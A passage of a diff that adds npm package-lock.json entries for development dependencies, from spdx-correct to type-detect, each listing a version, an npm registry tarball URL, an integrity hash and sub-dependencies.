"sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + } + } + }, + "spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.13", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz", + "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w==", + "dev": true + }, + "split": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz", + "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==", + "dev": true, + "requires": { + "through": "2" + } + }, + "split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "dev": true, + "requires": { + "extend-shallow": "^3.0.0" + }, + "dependencies": { + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true + }, + "static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==", + "dev": true, + "requires": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + } + }, + "stream-combiner": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.2.2.tgz", + "integrity": "sha512-6yHMqgLYDzQDcAkL+tjJDC5nSNuNIx0vZtRZeiPh7Saef7VHX9H5Ijn9l2VIol2zaNYlYEX6KyuT/237A58qEQ==", + "dev": true, + "requires": { + "duplexer": "~0.1.1", + "through": "~2.3.4" + } + }, + "stream-exhaust": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/stream-exhaust/-/stream-exhaust-1.0.2.tgz", + "integrity": "sha512-b/qaq/GlBK5xaq1yrK9/zFcyRSTNxmcZwFLGSTG0mXgZl/4Z6GgiyYOXOvY7N3eEvFRAG1bkDRz5EPGSvPYQlw==", + "dev": true + }, + "stream-shift": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", + "dev": true + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true + }, + "strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true + }, + "sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "dependencies": { + "commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true + }, + "sver-compat": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/sver-compat/-/sver-compat-1.5.0.tgz", + "integrity": "sha512-aFTHfmjwizMNlNE6dsGmoAM4lHjL0CyiobWaFiXWSlD7cIxshW422Nb8KbXCmR6z+0ZEPY+daXJrDyh/vuwTyg==", + "dev": true, + "requires": { + "es6-iterator": "^2.0.1", + "es6-symbol": "^3.1.1" + } + }, + "symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true + }, + "taffydb": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/taffydb/-/taffydb-2.6.2.tgz", + "integrity": "sha512-y3JaeRSplks6NYQuCOj3ZFMO3j60rTwbuKCvZxsAraGYH2epusatvZ0baZYA01WsGqJBq/Dl6vOrMUJqyMj8kA==", + "dev": true + }, + "tailwindcss": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.3.tgz", + "integrity": "sha512-A0KgSkef7eE4Mf+nKJ83i75TMyq8HqY3qmFIJSWy8bNt0v1lG7jUcpGpoTFxAwYcWOphcTBLPPJg+bDfhDf52w==", + "dev": true, + "requires": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.2.12", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.18.2", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "dependencies": { + "anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "requires": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "fsevents": "~2.3.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "dev": true, + "peer": true + }, + "terser": { + "version": "5.19.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.1.tgz", + "integrity": "sha512-27hxBUVdV6GoNg1pKQ7Z5cbR6V9txPVyBA+FQw3BaZ1Wuzvztce5p156DaP0NVZNrMZZ+6iG9Syf7WgMNKDg2Q==", + "dev": true, + "peer": true, + "requires": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true, + "peer": true + } + } + }, + "terser-webpack-plugin": { + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz", + "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==", + "dev": true, + "peer": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.17", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.16.8" + }, + "dependencies": { + "serialize-javascript": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz", + "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==", + "dev": true, + "peer": true, + "requires": { + "randombytes": "^2.1.0" + } + } + } + }, + "test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "dev": true, + "requires": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + } + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true + }, + "thenby": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", + "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", + "dev": true + }, + "thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "requires": { + "any-promise": "^1.0.0" + } + }, + "thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "requires": { + "thenify": ">= 3.1.0 < 4" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true + }, + "through2": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.1.tgz", + "integrity": "sha512-M96dvTalPT3YbYLaKaCuwu+j06D/8Jfib0o/PxbVt6Amhv3dUAtW6rTV1jPgJSBG83I/e04Y6xkVdVhSRhi0ww==", + "dev": true, + "requires": { + "readable-stream": "2 || 3" + } + }, + "through2-filter": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/through2-filter/-/through2-filter-3.0.0.tgz", + "integrity": "sha512-jaRjI2WxN3W1V8/FMZ9HKIBXixtiqs3SQSX4/YGIiP3gL6djW48VoZq9tDqeCWs3MT8YY5wb/zli8VW8snY1CA==", + "dev": true, + "requires": { + "through2": "~2.0.0", + "xtend": "~4.0.0" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "time-stamp": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/time-stamp/-/time-stamp-1.1.0.tgz", + "integrity": "sha512-gLCeArryy2yNTRzTGKbZbloctj64jkZ57hj5zdraXue6aFgd6PmvVtEyiUU+hvU0v7q08oVv8r8ev0tRo6bvgw==", + "dev": true + }, + "to-absolute-glob": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/to-absolute-glob/-/to-absolute-glob-2.0.2.tgz", + "integrity": "sha512-rtwLUQEwT8ZeKQbyFJyomBRYXyE16U5VKuy0ftxLMK/PZb2fkOsg5r9kHdauuVDbsNdIBoC/HCthpidamQFXYA==", + "dev": true, + "requires": { + "is-absolute": "^1.0.0", + "is-negated-glob": "^1.0.0" + } + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true + }, + "to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "dev": true, + "requires": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + } + } + }, + "to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==", + "dev": true, + "requires": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + } + }, + "to-through": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-through/-/to-through-2.0.0.tgz", + "integrity": "sha512-+QIz37Ly7acM4EMdw2PRN389OneM5+d844tirkGp4dPKzI5OE72V9OsbFp+CIYJDahZ41ZV05hNtcPAQUAm9/Q==", + "dev": true, + "requires": { + "through2": "^2.0.3" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dev": true, + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + } + }, + "tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dev": true, + "requires": { + "punycode": "^2.1.1" + } + }, + "transfob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/transfob/-/transfob-1.0.0.tgz", + "integrity": "sha512-8pltyWUhEM8NJdYRt5mUlnLEImxozXnmAkD4xL9MKTFyNiKuraibTiXnGbjuxtQdP9CzihRy4PR+Al7Iy2cmCw==", + "dev": true + }, + "ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "type": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz", + "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==", + "dev": true + }, + "type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "requires": { + "prelude-ls": "^1.2.1" + } + }, + "type-detect": { + "version": "4.0.8", + "resolved": 